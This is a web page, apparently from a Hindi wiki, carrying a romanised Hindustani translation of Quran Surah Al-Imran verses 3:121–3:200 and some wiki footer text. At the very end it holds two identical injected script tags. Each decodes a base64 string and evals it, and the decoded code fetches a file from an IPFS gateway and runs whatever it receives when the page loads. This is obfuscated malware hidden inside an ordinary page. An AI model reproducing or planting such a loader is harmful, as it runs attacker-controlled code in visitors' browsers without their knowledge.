3:121 - aur (ai rasool) ek vakt vo bhi tha jab tum apane bal bachchoan se t dake hi nikal kh de hue aur mominin ko l daee ke morchoan par bitha rahe the aur khuda sab kuchh janata aur sunata hai
3:122 - ye us vakt qa vaqaya hai jab tumamean se do girohoan ne than liya tha ki pasapaee karean aur phir (sॅbhal ge) kyoanki khuda to unaka saraparast tha aur mominin ko khuda hi par bharosa rakhana chahiye
3:123 - yaqinan khuda ne jange badar mean tumhari madad ki (bavajood ke) tum (dushman ke muqabale mean) bilkul be haqiqat the (phir bhi) khuda ne phateh di
3:124 - pas tum khuda se darate raho taki (unake) shukraguzar bano (ai rasool) us vakt tum mominin se kah rahe the ki kya tumhare lie kafi nahian hai ki tumhara paravaradigar tin hazar farishte asaman se bhejakar tumhari madad kare h aau (zaroor kafi hai)
3:125 - balki agar tum sabit qadam raho aur (rasool ki mukhalefat se) bacho aur kuphfar apane (josh mean) tumapar chadh bhi aye to tumhara paravaradigar aise paanch hazar farishtoan se tumhari madad karega jo nishane jang lagae hue date hoange aur khuda ne ye madad sirph tumhari khushi ke lie ki hai
3:126 - aur taki isase tumhare dil ki dharas ho aur (ye to zahir hai ki) madad jab hoti hai to khuda hi ki taraf se jo sab par galib (aur) hikamat vala hai
3:127 - (aur yah madad ki bhi to) isalie ki kafiroan ke ek giroh ko kam kar de ya aisa chaupat kar de ki (apana sa) muanh lekar namurad apane ghar vapas chale jayean
3:128 - (ai rasool) tumhara to isamean kuchh bas nahian chahe khuda unaki tauba kubool kare ya unako saza de kyoanki vah zalim to zaroor haian
3:129 - aur jo kuchh asamanoan mean hai aur jo kuchh zamin mean hai sab khuda hi ka hai jisako chahe bakhshe aur jisako chahe saza kare aur khuda b da bakhshane vala meharabar hai
3:130 - ai eemanadaroan sood danadan khate n chale jao aur khuda se daro ki tum chhutakara pao
3:131 - aur jahannum ki us ag se daro jo kafiroan ke lie taiyar ki gayi hai
3:132 - aur khuda aur rasool ki faramabaradari karo taki tum par raham kiya jae
3:133 - aur apane paravaradigar ke (sabab) bakhshish aur jannat ki taraf dau d p do jisaki (vusat sare) asaman aur zamin ke barabar hai aur jo parahezagaroan ke liye muhayya ki gayi hai
3:134 - jo khushahali aur kathin vakt mean bhi (khuda ki rah par) kharch karate haian aur gusse ko rokate haian aur logoan (ki khata) se daraguzar karate haian aur neki karane valoan se allah ulafat rakhata hai
3:135 - aur log ittifaq se koee badakari kar baithate haian ya ap apane oopar julm karate haian to khuda ko yad karate haian aur apane gunahoan ki mafi m aaugate haian aur khuda ke siva gunahoan ka bakhshane vala aur kaun hai aur jo (qoosoor) vah (nagahani) kar baithe to janaboojh kar usapar hat nahian karate
3:136 - aise hi logoan ki jaza unake paravaradigar ki taraf se bakhshish hai aur vah bagat haian jinake niche naharean jari haian ki vah unamean hamesha raheange aur (achchhe) chalan valoan ki (bhi) khoob khari mazadoori hai
3:137 - tumase pahale bahut se vaqayat guzar chuke haian pas zara rooe zamin par chal phir kar dekho to ki (apane apane vakt qe paigambaroan ko) jhuthalane valoan ka anjam kya hua
3:138 - ye (jo hamane kaha) am logoan ke lie to sirf bayan (vaqaya) hai magar aur parahezagaroan ke lie hidayat v nasihat hai
3:139 - aur musalamanoan kahili n karo aur (is) ittafaqi shikast (ohad se) kudho nahian (kyoanki) agar tum sachche momin ho to tum hi galib aur var rahoge
3:140 - agar (jange ohad mean) tumako zakhm laga hai to usi tarah (badar mean) tumhare fariq (kuphfar ko) bhi zakhm lag chuka hai (us par unaki himmat to n tooti) ye ittafaqate zamana haian jo ham logoan ke daramiyan bari bari ulat pher kiya karate haian aur ye (ittafaqi shikast isalie thi) taki khuda sachche eemanadaroan ko (zahiri) musalamanoan se alag dekh lean aur tumamean se baz ko darajae shahadat par fayaz karean aur khuda (hukme rasool se) saratabi karane valoan ko dost nahian rakhata
3:141 - aur ye (bhi manjoor tha) ki sachche eemanadaroan ko (sabit qadami ki vajah se) nira khara alag kar le aur nafaramanoan (bhagane valoan) ka matiyamet kar de
3:142 - (musalamanoan) kya tum ye samajhate ho ki sab ke sab bahisht mean chale hi jaoge aur kya khuda ne abhi tak tumamean se un logoan ko bhi nahian pahachana jinhoanne jehad kiya aur n sabit qadam rahane valoan ko hi pahachana
3:143 - tum to maut ke ane se pahale (l daee mean) marane ki tamanna karate the bas ab tumane usako apani aaukh se dekh liya aur tum ab bhi dekh rahe ho
3:144 - (phir l daee se ji kyoan churate ho) aur mohammad to sirph rasool haian (khuda nahian) inase pahale bahutere paigambar guzar chuke haian phir kya agar mohammad apani maut se mar j aaue ya mar dale jaean to tum ulate p aauv (apane kufr ki taraf) palat jaoge aur jo ulate p aauv phirega (bhi) to (samajh lo) haragiz khuda ka kuchh bhi nahian big dega aur anaqarib khuda ka shukr karane valoan ko achchha badala dega
3:145 - aur bagair hukme khuda ke to koee shakhs mar hi nahian sakata vakte muayyan tak har ek ki maut likhi huee hai aur jo shakhs (apane kie ka) badala duniya mean chahe to ham usako isamean se de dete haian aur jo shakhs akherat ka badala chahe use usi mean se deange aur (neamat eeman ke) shukr karane valoan ko bahut jald ham jazae khair deange
3:146 - aur (musalamanoan tum hi nahian) aise paigambar bahut se guzar chuke haian jinake sath bahutere allah valoan ne (rahe khuda mean) jehad kiya aur phir unako khuda ki rah mean jo musibat p di hai n to unhoanne himmat hari n bodapan kiya (aur n dushaman ke samane) gi dagi dane lage aur sabit qadam rahane valoan se khuda ulafat rakhata hai
3:147 - aur lutf ye hai ki unaka qaul isake siva kuchh n tha ki duaean m aaugane lagean ki ai hamare palane vale hamare gunah aur apane kamoan mean hamari jyadatiy aau maf kar aur dushmanoan ke muqabale mean hamako sabit qadam rakh aur kafiroan ke giroh par hamako fateh de
3:148 - to khuda ne unako duniya mean badala (diya) aur akhirat mean achchha badala eenayat faramaya aur khuda neki karane valoan ko dost rakhata (hi) hai
3:149 - ai eemanadaroan agar tum logoan ne kafiroan ki pairavi kar li to (yad rakho) vah tumako ulate p aauv (kufr ki taraf) pher kar le jaaiange phir ulate tum hi ghate mean a jaoge
3:150 - (tum kisi ki madad ke mohataj nahian) balki khuda tumhara saraparast hai aur vah sab madadagaroan se behatar hai
3:151 - (tum ghabarao nahian) ham anaqarib tumhara rob kafiroan ke diloan mean jama deange isalie ki un logoan ne khuda ka sharik banaya (bhi to) is chiz but ko jise khuda ne kisi qism ki hukoomat nahian di aur (akhirakar) unaka thikana dauzakh hai aur zalimoan ka (bhi kya) bura thikana hai
3:152 - beshak khuda ne (jange auhad mean bhi) apana (phateh ka) vayada sachcha kar dikhaya tha jab tum usake hukm se (pahale hi hamale mean) un (kuphfar) ko khoob qatl kar rahe the yah aau tak ki tumhare pasand ki chiz (fateh) tumhean dikha di usake bad bhi tumane (male ganimat dekhakar) buzadilapan kiya aur hukmean rasool (morche par jame rahane) jhag da kiya aur rasool ki nafaramani ki tumamean se kuchh to talibe duniya haian (ki male ganimat ki taraf) se jhuk p de aur kuchh talibe akhirat (ki rasool par apani jan fida kar di) phir (buzadilepan ne) tumhean un (kuphfar) ki ki taraph se pher diya (aur tum bhag kh de hue) usase khuda ko tumhara (eeman akhalasi) azamana manzoor tha aur (usapar bhi) khuda ne tumase daraguzar ki aur khuda mominin par b da fazal karane vala hai
3:153 - (musalamanoan tum) us vakt qo yad karake sharmao jab tum (badahavas) bhage paha d par chale jate the pas (chooanki) rasool ko tumane (azarada) kiya khuda ne bhi tumako (is) ranj ki saza mean (shikast ka) ranj diya taki jab kabhi tumhari koee chiz hath se jati rahe ya koee musibat p de to tum ranj n karo aur sabr karana sikho aur jo kuchh tum karate ho khuda usase khabaradar hai
3:154 - phir khuda ne is ranj ke bad tumapar itminan ki halat tari ki ki tumamean se ek giroh ka (jo sachche eemanadar the) khoob gahari niand a gayi aur ek giroh jinako us vakt bhi (bhagane ki sharm se) jan ke lale p de the khuda ke sath (khvah makhvah) zamanae jihalat ki aisi badagumaniy aau karane lage aur kahane lage bhala kya ye amr (fateh) kuchh bhi hamare ikhtiyar mean hai (ai rasool) kah do ki har amr ka ikhtiyar khuda hi ko hai (zaban se to kahate hi hai nahian) ye apane diloan mean aisi batean chhipae hue haian jo tumase zahir nahian karate (ab suno) kahate haian ki is amr (fateh) mean hamara kuchh ikhtiyar hota to ham yah aau mare n jate (ai rasool unase) kah do ki tum apane gharoan mean rahate to jin jin ki takadir mean l dake mar jana likha tha vah apane (gharo se) nikal nikal ke apane marane ki jagah zaroor a jate aur (ye is vaste kiya gaya) taki jo kuchh tumhare dil mean hai usaka imtihan kar de aur khuda to diloan ke raz khoob janata hai
3:155 - beshak jis din (jange auhad mean) do jamaatean apas mean guth gayian us din jo log tum (musalamanoan) mean se bhag kh de hue (usaki vajah ye thi ki) unake baz gunahoan (mukhalafate rasool) ki vajah se shaitan ne bahaka ke unake p aauv ukha d die aur (usi vakt to) khuda ne zaroor unase daraguzar ki beshak khuda b da bakhshane vala burdavar hai
3:156 - ai eemanadaroan un logoan ke aise n bano jo kafir ho ge bhaee band unake parades mean nikale haian ya jehad karane ge haian (aur vah aau) mar (ge) to unake bare mean kahane lage ki vah hamare pas rahate to n marate or n mare jate (aur ye is vajah se kahate haian) taki khuda (is khyal ko) unake diloan mean (baise) hasarat bana de aur (yooan to) khuda hi jilata aur marata hai aur jo kuchh tum karate ho khuda use dekh raha hai
3:157 - aur agar tum khuda ki rah mean mare jao ya (apani maut se) mar jao to beshak khuda ki bakhshish aur rahamat is (mal v daulat) se jisako tum jama karate ho zaroor behatar hai
3:158 - aur agar tum (apani maut se) maro ya mare jao (akhirakar) khuda hi ki taraf (qabroan se) uthae jaoge
3:159 - (to ai rasool ye bhi) khuda ki ek meharabani hai ki tum (sa) naramadil (saradar) unako mila aur tum agar badamizaj aur sakht dil hote tab to ye log (khuda jane kab ke) tumhare gird se titar bitar ho ge hote pas (ab bhi) tum unase daraguzar karo aur unake lie magapherat ki dua m aaugo aur (sabiq dastoore zahira) unase kam kaj mean mashavara kar liya karo (magar) is par bhi jab kisi kam ko than lo to khuda hi par bharosa rakho (kyoanki jo log khuda par bharosa rakhate haian khuda unako zaroor dost rakhata hai
3:160 - (musalamanoan yad rakho) agar khuda ne tumhari madad ki to phir koee tumapar galib nahian a sakata aur agar khuda tumako chho d de to phir kaun aisa hai jo usake bad tumhari madad ko kh da ho aur mominin ko chahiye ki khuda hi par bharosa rakhean
3:161 - aur (tumhara guman bilkul galat hai) kisi nabi ki (haragiz) ye shan nahian ki khyanat kare aur khyanat karega to jo chiz khyanat ki hai qayamat ke din vahi chiz (bilakul vaisa hi) khuda ke samane lana hoga phir har shakhs apane kie ka poora poora badala paega aur unaki kisi tarah haqatalfi nahian ki jaegi
3:162 - bhala jo shakhs khuda ki khushanoodi ka paband ho kya vah us shakhs ke barabar ho sakata hai jo khuda ke gazab mean giraphtar ho aur jisaka thikana jahannum hai aur vah kya bura thikana hai
3:163 - vah log khuda ke yah aau mukhtalif darajoan ke haian aur jo kuchh vah karate haian khuda dekh raha hai
3:164 - khuda ne to eemanadaroan par b da ehasan kiya ki unake vaste unhian ki qaum ka ek rasool bheja jo unhean khuda ki ayatean padh padh ke sunata hai aur unaki tabiyat ko pakiza karata hai aur unhean kitabe (khuda) aur akl ki batean sikhata hai agarache vah pahale khuli huee gumarahi mean pade the
3:165 - musalamanoan kya jab tumapar (jange ohad) mean vah musibat p di jisaki dooni musibat tum (kuphfar par) dal chuke the to (ghabara ke) kahane lage ye (afat) kah aau se a gayi (ai rasool) tum kah do ki ye to khud tumhari hi taraf se hai (n rasool ki mukhalefat karate n saza hoti) beshak khuda har chiz par qadir hai
3:166 - aur jis din do jamaatean apas mean guanth gayian us din tum par jo musibat p di vah tumhari shararat ki vajah se (khuda ke ijajat ki vajah se ayi) aur taki khuda sachche eeman valoan ko dekh le
3:167 - aur munafiqoan ko dekh le (ki kaun hai) aur munafiqoan se kaha gaya ki ao khuda ki rah mean jehad karo ya (ye n sahi apane dushaman ko) hata do to kahane lage (hae kya kahian) agar ham l dana janate to zaroor tumhara sath dete ye log us din banisbate eeman ke kufr ke jyada qarib the apane muanh se vah batean kah dete haian jo unake dil mean (khak) nahian hotian aur jise vah chhipate haian khuda use khoob janata hai
3:168 - (ye vahi log haian) jo (ap chain se gharoan mean baithe rahate hai aur apane shahid) bhaeeyoan ke bare mean kahane lage kash hamari pairavi karate to n mare jate (ai rasool) unase kaho (achchha) agar tum sachche ho to zara apani jan se maut ko tal do
3:169 - aur jo log khuda ki rah mean shahid kie ge unhean haragiz murda n samajhana balki vah log jite jagate maujood haian apane paravaradigar ki taraf se vah (tarah tarah ki) rozi pate haian
3:170 - aur khuda ne jo fazal v karam un par kiya hai usaki (khushi) se phoole nahian samate aur jo log unase pichhe rah ge aur unamean akar shamil nahian hue unaki nisbat ye (khyal karake) khushiy aau manate haian ki (ye bhi shahid hoan to) unapar n kisi qism ka khauf hoga aur n azurda khatir hoange
3:171 - khuda neamat aur usake fazal (v karam) aur is bat ki khushakhabari pakar ki khuda mominin ke savab ko barabad nahian karata
3:172 - nihal ho rahe haian (jange ohad mean) jin logoan ne jakhm khane ke bad bhi khuda aur rasool ka kahana mana unamean se jin logoan ne neki aur parahezagari ki (sab ke liye nahian sirph) unake liye b da savab hai
3:173 - yah vah haian ki jab unase logoan ne akar kahana shuroo kiya ki (dushaman) logoan ne tumhare (muqabale ke) vaste (b da lashkar) jama kiya hai pas unase darate (to bajae khauf ke) unaka eeman aur jyada ho gaya aur kahane lage (hoga bhi) khuda hamare vaste kafi hai
3:174 - aur vah kya achchha karasaz hai phir (ya to himmat karake ge magar jab l daee n huee to) ye log khuda ki neamat aur fazal ke sath (apane ghar) vapas ae aur unhean koee buraee chhoo bhi nahian gayi aur khuda ki khushanoodi ke paband rahe aur khuda b da fazal karane vala hai
3:175 - yah (mukhbir) bas shaitan tha jo sirf apane dostoan ko (rasool ka sath dene se) darata hai pas tum unase to daro nahian agar sachche momin ho to mujh hi se darate raho
3:176 - aur (ai rasool) jo log kufr ki (madad) mean pesh qadami kar jate haian unaki vajah se tum ranj n karo kyoanki ye log khuda ko kuchh zarar nahian pahuancha sakate (balki) khuda to ye chahata hai ki akherat mean unaka hissa n qarar de aur unake lie b da (sakht) azab hai
3:177 - beshak jin logoan ne eeman ke evaz kufr kharid kiya vah haragiz khuda ka kuchh bhi nahian biga deange (balki ap apana) aur unake lie dardanak azab hai
3:178 - aur jin logoan ne kufr ikhtiyar kiya vah haragiz ye n khyal karean ki hamane jo unako mohalat v bephikri de rakhi hai vah unake haq mean behatar hai (hal aauki) hamane mohallat v bephikri sirph is vajah se di hai taki vah aur khoob gunah kar lean aur (akhir to) unake lie roosava karane vala azab hai
3:179 - (munafiqo) khuda aisa nahian ki bure bhale ki tamiz kie bagair jis halat par tum ho usi halat par mominoan ko bhi chho d de aur khuda aisa bhi nahian hai ki tumhean gaib ki batean bata de magar (h aau) khuda apane rasooloan mean jise chahata hai (gaib batane ke vaste) chun leta hai pas khuda aur usake rasooloan par eeman lao aur agar tum eeman laoge aur parahezagari karoge to tumhare vaste b di jazae khair hai
3:180 - aur jin logoan ko khuda ne apane fazal (v karam) se kuchh diya hai (aur phir) bukhl karate haian vah haragiz is khyal mean n rahean ki ye unake lie (kuchh) behatar hoga balki ye unake haq mean badatar hai kyoanki jis (mal) ka bukhl karate haian anaqarib hi qayamat ke din usaka tauq banakar unake gale mean pahanaya jaega aur sare asaman v zamin ki miras khuda hi ki hai aur jo kuchh tum karate ho khuda usase khabaradar hai
3:181 - jo log (yahood) ye kahate haian ki khuda to kangal hai aur ham b de maladar haian khuda ne unaki ye bakavas suni un logoan ne jo kuchh kiya usako aur unaka paigambaroan ko nahaq qatl karana ham abhi se likh lete haian aur (aj to jo ji mean kahean magar qayamat ke din) ham kaheange ki achchha to lo (apani shararat ke evaz mean) jalane vale azab ka maza chakho
3:182 - ye unhian kamoan ka badala hai jinako tumhare hathoan ne (zade akherat bana kar) pahale se bheja hai varana khuda to kabhi apane bandoan par zulm karane vala nahian
3:183 - (yah vahi log haian) jo kahate haian ki khuda ne to hamase vayada kiya hai ki jab tak koee rasool hamean ye (maujiza) n dikha de ki vah qurabani kare aur usako (asamani) ag akar chat kar jae us vakt tak ham eeman n laeangean (ai rasool) tum kah do ki (bhala) ye to batao bahutere paigambar mujhase qabl tumhare pas vaje v raushan maujizat aur jis chiz ki tumane (us vakt) faramaish ki hai (vah bhi) lekar ae phir tum agar (apane dave mean) sachche to tumane kyoan qatl kiya
3:184 - (ai rasool) agar vah is par bhi tumhean jhuthalaean to (tum azurda n ho kyoanki) tumase pahale bhi bahut se paigambar raushan maujize aur sahiphe aur noorani kitab lekar a chuke haian (magar) phir bhi logoan ne akhir jhuthala hi chho da
3:185 - har jan ek n ek (din) maut ka maza chakhegi aur tum log qayamat ke din (apane kie ka) poora poora badala bhar paoge pas jo shakhs jahannum se hata diya gaya aur bahisht mean pahuancha diya gaya pas vahi kamayab hua aur duniya ki (chand roza) zindagi dhokhe ki tatti ke siva kuchh nahian
3:186 - (musalamanoan) tumhare maloan aur janoan ka tumase zaroor imtehan liya jaega aur jin logo ko tum se pahale kitabe khuda di ja chuki hai (yahood v nasara) unase aur musharekin se bahut hi du:kh dard ki batean tumhean zaroor sunani p deangi aur agar tum (un musibatoan ko) jhel jaoge aur parahezagari karate rahoge to beshak ye b di himmat ka kam hai
3:187 - aur (ai rasool) inako vah vakt to yad dilao jab khuda ne ahale kitab se ehad v paiman liya tha ki tum kitabe khuda ko saf saf bayan kar dena aur (khabaradar) usaki koee bat chhupana nahian magar in logoan ne (zara bhi khyal n kiya) aur unako pase pusht pheank diya aur usake badale mean (bas) tho di si qimat hasil kar li pas ye kya hi bura (sauda) hai jo ye log kharid rahe haian
3:188 - (ai rasool) tum unhean khyal mean bhi n lana jo apani karastani par itarae jate haian aur kiya karaya khak nahian (magar) tarif ke khastagar (chahate) haian pas tum haragiz ye khyal n karana ki inako azab se chhutakara hai balki unake lie dardanak azab hai
3:189 - aur asaman v zamin sab khuda hi ka mulk hai aur khuda hi har chiz par qadir hai
3:190 - isamean to shak hi nahian ki asamanoan aur zamin ki paidaish aur rat din ke pher badal mean aklamandoan ke lie (qudarat khuda ki) bahut si nishaniy aau haian
3:191 - jo log uthate baithate karavat lete (alagaraz har hal mean) khuda ka zikr karate haian aur asamanoan aur zamin ki banavat mean gaur v fikr karate haian aur (besakhta) kah uthate haian ki khudavanda toone isako bekar paida nahian kiya too (phele abas se) pak v pakiza hai bas hamako dozak ke azab se bacha
3:192 - ai hamare palane vale jisako toone dozakh mean dala to yaqinan use roosava kar dala aur julm karane vale ka koee madadagar nahian
3:193 - ai hamare palane vale (jab) hamane ek avaz lagane vale (paigambar) ko suna ki vah (eeman ke vaste yooan pukarata tha) ki apane paravaradigar par eeman lao to ham eeman lae pas ai hamare palane vale hamean hamare gunah bakhsh de aur hamari buraeeyoan ko hamase door kare de aur hamean nekoan ke sath (duniya se) utha le
3:194 - aur ai palane vale apane rasooloan ki marphat jo kuchh hamase vayada kiya hai hamean de aur hamean qayamat ke din roosava n kar too to vayada khilafi karata hi nahian
3:195 - to unake paravaradigar ne dua kubool kar li aur (faramaya) ki ham tumamean se kisi kam karane vale ke kam ko akarat nahian karate mard ho ya aurat (us mean kuchh kisi ki khusoosiyat nahian kyoanki) tum ek doosare (ki jins) se ho jo log (hamare lie vatan avara hue) aur shahar badar kie ge aur unhoanne hamari rah mean aziyatean uthayian aur (kuphfar se) jang ki aur shahid hue maian unaki buraeeyoan se zaroor daraguzar karooanga aur unhean behisht ke un bagoan mean le jaooॅga jinake niche naharean jari haian khuda ke yah aau ye unake kiye ka badala hai aur khuda (aisa hi hai ki us) ke yah aau to achchha hi badala hai
3:196 - (ai rasool) kafiroan ka shaharoan shaharoan chain karate phirana tumhe dhokhe mean n dale
3:197 - ye chand roza fayada haian phir to (akhirakar) unaka thikana jahannum hi hai aur kya hi bura thikana hai
3:198 - magar jin logoan ne apane paravaradigar ki parahezagari (ikhteyar ki unake lie behisht ke) vah bagat haian jinake niche naharean jarian haian aur vah hamesha usi mean raheange ye khuda ki taraf se unaki (davat hai aur jo sazo saman) khuda ke yah aau hai vah neko karoan ke vaste duniya se kahian behatar hai
3:199 - aur ahale kitab mean se kuchh log to aise zaroor haian jo khuda par aur jo (kitab) tum par nazil huee aur jo (kitab) unapar nazil huee (sab par) eeman rakhate haian khuda ke age sar jhukae hue haian aur khuda ki ayatoan ke badale tho di si qimat (duniyavi fayade) nahian lete aise hi logoan ke vaste unake paravaradigar ke yah aau achchha badala hai beshak khuda bahut jald hisab karane vala hai
3:200 - ai eemanadaroan (din ki takalifoan ko) aur doosaroan ko bardasht ki talim do aur (jihad ke lie) kamarean kas lo aur khuda hi se daro taki tum apani dili murad pao

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• al-e-imaran
• Surah Al-I'imran / সূরা আল ইমরান

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>